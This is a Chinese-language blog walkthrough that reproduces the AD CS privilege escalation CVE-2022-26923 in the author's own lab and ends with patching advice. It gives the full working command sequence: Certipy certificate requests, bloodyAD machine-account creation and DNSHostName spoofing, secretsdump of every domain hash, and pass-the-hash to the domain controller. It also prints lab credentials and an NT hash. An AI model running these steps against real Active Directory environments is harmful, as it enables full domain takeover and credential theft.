Active Directory 域服務,是一種目錄服務,提供了儲存目錄資料資訊以及使用者相關的一些密碼,電話號碼等等一些資料資訊,且可讓使用者和管理員使用這些資料,有利於域管理員對使用者的資料資訊進行管理。
AD CS (Active Directory Certipy Server)是允許你構建公鑰基礎機構 (PKI) 併為你的組織提供公鑰加密、數位憑證和數位簽章功能的伺服器角色。
Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022
kali ip:192.168.33.131
windows server 2012 ip: 192.168.33.144
windows server 2012網路設定,這裡想改計算機全名但是忘記了,如果要好記得名字,可以安裝域前先改掉
這裡用到了windows server 2012的環境,首先搭建windows server 2012的AD域服務和域服務證書,這裡安裝步驟除了勾選的地方其他預設下一步
點選提升域控制,新增新林,然後下一步還原密碼後安裝重啟
ADCS證書安裝,新增功能,勾選AD證書服務,新增web證書頒發,開始安裝
設定證書服務,在角色服務勾選證書機構和證書web註冊,其他可以一直下一步,這裡為了其他設定不一樣的讀者,就都放出來了,都一樣的可以選擇跳過
設定成功結果圖
建立低許可權AD使用者,點選AD使用者和計算機,點選本地域 ,查詢User,雙擊進入,找到Administrator使用者 ,點選左側新建,新建使用者
新建使用者test,填寫全名,輸入密碼,勾選其他密碼選項,選擇密碼永不過期和不能更改密碼
設定window7網路設定以及加入域,這裡加入域xming.com,使用者是在域控新建的test,密碼是自己在域設定的密碼(注:我這裡只用到kali 和window server 2012就沒多加win7,方便演示,想用win7的老鐵可以參考以下win7設定)
kali設定
在kali需要兩個工具 Certipy 和bloody
certipy設定
https://github.com/ly4k/Certipy //工具所在網址
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains4 python3 setup.py install //設定代理安裝(這裡我用的是proxychains4的,也可以用proxychains,如果有的話)
這裡我是直接去github下載再複製到kali,就跳過第二條命令
由於我這裡因為pip沒裝,所以我又裝了pip
pip安裝的步驟參考此連結:https://www.cnblogs.com/BlogVice-2203/p/17011741.html
這裡我遇到的報錯是要pyopenssl>=22.0.0,所以我直接用pip install pyopenssl==22.0.0
然後再次安裝有出現報錯,說沒有dsinternals,又得pip install dsinternals
如果沒有遇到以下報錯,就直接執行成功
設定bloodyAD
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains4 pip3 install -r requirements.txt
這裡報錯了,需要下載一個libkrb5-dev包
apt-get install libkrb5-dev
總結一下上面bloodyAD安裝
先執行apt-get install libkrb5-dev
再執行proxychains4 pip3 install -r requirements.txt看看是否有報錯
如果有就使用pip install 需要的安裝包(如果有需要必要的版本可以 pip install 安裝包==需要的版本號) 如上圖所示
最後再執行proxychains4 pip3 install -r requirements.txt會發現沒有報錯就是執行成功。
執行python3 bloodyAD.py -h,發現安裝成功,到此環境就搭建完成了
執行以下程式碼之前需要執行
pip3 install certipy-ad
這是我的申請CA證書的poc
certipy req -username [email protected] -password zgm#1573 -ca xming-WIN-UE0S6A9DB79-CA -target WIN-UE0S6A9DB79.xming.com -template User
然後再執行
certipy auth -pfx test.pfx -dc-ip 192.168.33.144
建立及其賬戶到域
使用bloodyAD檢視ms-DS-MachineAccountQuota屬性,如果ms-DS-MachineAccountQuota>0就可以建立機器帳戶
python3 bloodyAD.py -d xming.com -u test -p zgm#1573 --host 192.168.33.144 getObjectAttributes "DC=xming,DC=com" ms-DS-MachineAccountQuota
這裡一開始是報錯 需要在/usr/local/lib/python3.10/dist-packages/ldap3/utils/ntlm.py 修改from Crypto.Hash import MD4 為 from Cryptodome.Hash import MD4
沒報錯且執行出來的老鐵可以不改
使用bloodyAD檢視ms-DS-MachineAccountQuota屬性,如果ms-DS-MachineAccountQuota>0就可以建立機器帳戶
在LDAP中建立一個機器帳戶,然後檢視Active Directory 使用者和計算機 點選computers 檢視到test66是我們建立出來的機器賬戶
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' addComputer test66 'jntm'
建立一個test66密碼為jntm的機器賬戶
我們更新一下機器帳戶的DNSHostName,但是這裡出現了一個錯誤,我排除了一下是我們沒有給DNS讀取和寫入的許可權,勾選上兩個許可權,排除後重新執行就成功了
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' setAttribute 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName '["WIN-UE0S6A9DB79.xming.com"]'
python3 bloodyAD.py -d 'xming.com' -u 'test' -p 'zgm#1573' --host '192.168.33.144' getObjectAttributes 'CN=test66,CN=Computers,DC=xming,DC=com' DNSHOSTName
我們這裡就使用偽造的計算機賬戶進行證書申請,因為在計算機賬戶中,CA是使用DNSname的值來驗證,如果這個值是域控的DNSname,CA就會認為是域控,這裡為什麼說只用計算機賬戶而不用使用者賬戶(test),是因為使用者賬戶的具有一個使用者主體名稱UPN(User Principal Name),UPN是具有唯一性不可變的,而計算機賬戶沒有
根據MS-ADTS(3.1.1.5.1.3) 唯一性約束,UPN必須是唯一的,不能有兩個具有相同UPN的使用者
這裡使用的是計算機賬戶模板(Machine),不再是User
certipy req -username test66\[email protected] -password jntm -ca xming-WIN-UE0S6A9DB79-CA -target xming.com -template Machine -debug
生成一個win-ue0s6a9db79.pfx
這裡調了一個bug 我把kali的閘道器改為了192.168.33.144否則總是報錯
certipy auth -pfx win-ue0s6a9db79.pfx -dc-ip 192.168.33.144
這裡如果報錯KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type),直接去重新啟動一下你的AD CS而不是重啟虛擬機器器(可以重啟但可能登陸不進去)
獲取所有域中的所有hash
impacket-secretsdump 'xming.com/[email protected]' -hashes :3fa24d31749f89de0db2449ab8014c79
PTH獲取域控
![](https://img2023.cnblogs.com/blog/2913000/202301/2913000-20230101141133348-72226788.png)
總結:該漏洞是由於安裝了域證書服務(AD CS),攻擊者可以使用計算機賬戶模板(Machine)建立機器賬戶,更新dnsname為域控的dnsname,獲取所有域hash,進一步拿到域控管理員許可權
修復建議:安裝微軟給出的修補程式 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
其中說到域證書服務和域服務可以不用安裝到一臺伺服器,以規避風險
本文來自部落格園,作者:Vice_2203,轉載請註明原文連結:https://www.cnblogs.com/BlogVice-2203/p/17009069.html